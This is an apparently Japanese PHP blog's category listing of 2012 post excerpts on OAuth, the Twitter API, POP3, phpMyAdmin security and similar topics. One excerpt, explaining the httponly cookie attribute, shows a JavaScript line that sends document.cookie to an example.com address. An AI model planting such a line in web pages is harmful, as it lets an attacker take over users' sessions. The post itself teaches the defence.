Category / php
素のphpでOAuthする
2012-07-06 概要 なるべく素のphpでOAuthしてみる。 これで他のライブラリ等に依存しなくても、twitterのAPIや、tumblerのAPIが使える。 アクセストークンを取得するまでの流れはまた別な機会に。アクセストークンが […]
OAuth.phpだけで twitter APIする
2012-07-05 問題 twitterのAPIを使うライブラリはいろいろあるけど、なるべくシンプルな装備でtwitterのAPIを使えないか。phpで。 解答例 OAuth.php(http://code.google.com/p/oau […]
【php】10kg入る箱3つに詰めたい
2012-06-30 問題 10kgまで入る箱があって、商品(複数)を、3箱以内に梱包できるかチェックしたい。 商品が、1kg, 2kg, 3kg, 4kg, 5kg, 6kg, 7kg あったら、 箱1 => [4, 6] 箱2 => [3 […]
【php】やってしまうと見つけにくい不具合
2012-06-28 問題 ↓ これは普通の結果ですが… $ php -r 'var_dump(1 > 2);' bool(false) ↓ これはどうしたことでしょう? $ php -r 'var_dump(1 > 2);' b […]
tmhOAuthでエラー(レスポンスコード0、エラー番号60)
2012-06-27 問題 tmhOAuthというtwitterのOAuth libraryを使って、phpスクリプトからtwitterに投稿しようとしたのですが、 レスポンスのコードは0、以下のエラーが返ってきました。 error sett […]
【php】twitterのREST APIで画像付きツイートをする
2012-06-26 問題 twitterの REST APIの statuses/update_with_media で、画像つきツイートをしたい。 答え OAuthするので、既存のライブラリを使うのが手軽でしょう。 statuses/up […]
Cookieを盗む例とhttponly属性
2012-06-20 以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '"&g […]
【php】POP3でメールを読む
2012-06-19 問題 phpで、他のライブラリなどを使わないで、メールサーバーにあるメールをpopで読み出したい。 答え fsockopen()関数を使う。 ごく普通の110番ポートのSSL無しのPOP3の場合。 <?php // […]
PDFLibのpdf_load_font()で Couldn’t open CMap file のエラー
2012-06-17 問題 PDFLibで日本語を含むPDFを作ろうとしたとき、pdf_load_font()したら、こんなエラーが出ました。 [error] [client 192.168.0.1] PHP Fatal error: pdf […]
HTMLとphpが混在しているソースのインデントのつけ方の例
2012-05-30 問題 phpのプログラムを書いていると、画面のところで、phpとHTMLが混在する状況が発生するじゃないですか。 インデントってどうしてる? 答え こういうのどうですか。 phpとHTMLが混在している → 2つの世界が […]
【php】array_combine 使用例
2012-05-28 問題 $str = '420,421,422'; のような区切り文字の入った文字列を explode(',', $str); すると array(0 => '420', 1 => '421', 2 => […]
phpMyAdmin設置時の注意
2012-05-18 phpMyAdminは便利で広く普及していますが、その分、脆弱性を攻撃される事故も多く見られます。 phpMyAdminを設置する際には攻撃を受けやすくならないよう注意しましょう。 IP制限 できれば Basic認証の設 […]
【php】何種類ある?
2012-05-12 問題 ある変数がtrueであればfalse、falseであればtrue(1であれば0、0であれば1)に変えるコードを考えてみたとき、何種類かけるでしょうか? 解答例 Perlの格言のTMTOWTDIではないですが、同じ処 […]
【php】カレンダーを表示したかったら こうしたらいいんじゃないか の例
2012-05-10 問題 phpでカレンダーの表示をしたいのですが、日付判定、週末判定、for文、while文の嵐で壮大なプログラムになってしまいます。 なにげに難しいです。。。 (p_q) 解答例 phpの場合、便利なライブラリがあれば… […]
phpで簡単にサーバーを監視して通知をメールで送る
2012-05-04 問題 サーバーのディスク容量とか、負荷状況とか、Webサーバーの生きてる死んでるを、時々教えて欲しい。 解答例 phpは以下のことができます。 コマンドライン版があるので、crontabで定期的に処理をさせることができる […]
【php5.4】htmlspecialchars関数の動きが変わった
2012-04-25 問題 phpを5.4にした。 EUC-JPのサイトで、文字が表示されない。htmlspecialchars()すると、文字が表示されない。 <?php //ソースはEUC-JP $a = 'テスト'; echo h […]
【php】便利なコメント部分切り替え(デバッグ、設定切り替えなどに)
2012-04-19 問題 プログラムのソースで、あっちの記述を有効にしたり、こっちの記述を有効にしたりを、コメントでやるとき、「AをコメントにしてBをアンコメントする」、「AをアンコメントしてBをコメントにする」といったことを繰り返すのが面 […]
Windows + IIS + php5.4系 + SQL server の設定
2012-04-09 問題 以下の環境を構築せよ。 OSはWindows。WebサーバーはIIS。phpでバージョンは5.4系。SQL serverを使う。 + + + 答え Windows7で、IIS7 + php5.4.0 で、SQLSe […]
【php】HTTPヘッダ送出の書き方例一覧
2012-04-06 // あえて200で上書きしたいときなどに header('HTTP/1.1 200 OK'); // ページが見つかりませんでした header('HTTP/1.1 404 Not Found'); // アクセスでき […]
【WordPress】WordPressにログインしているかどうかは document.cookieで取得できない
2012-03-17 問題 WordPressの管理画面にログインしているかどうかをJavascript側で判定したいと思ったのですが、document.cookieにはセッションIDらしいデータが見当たりません。 セッションはクッキーを使っ […]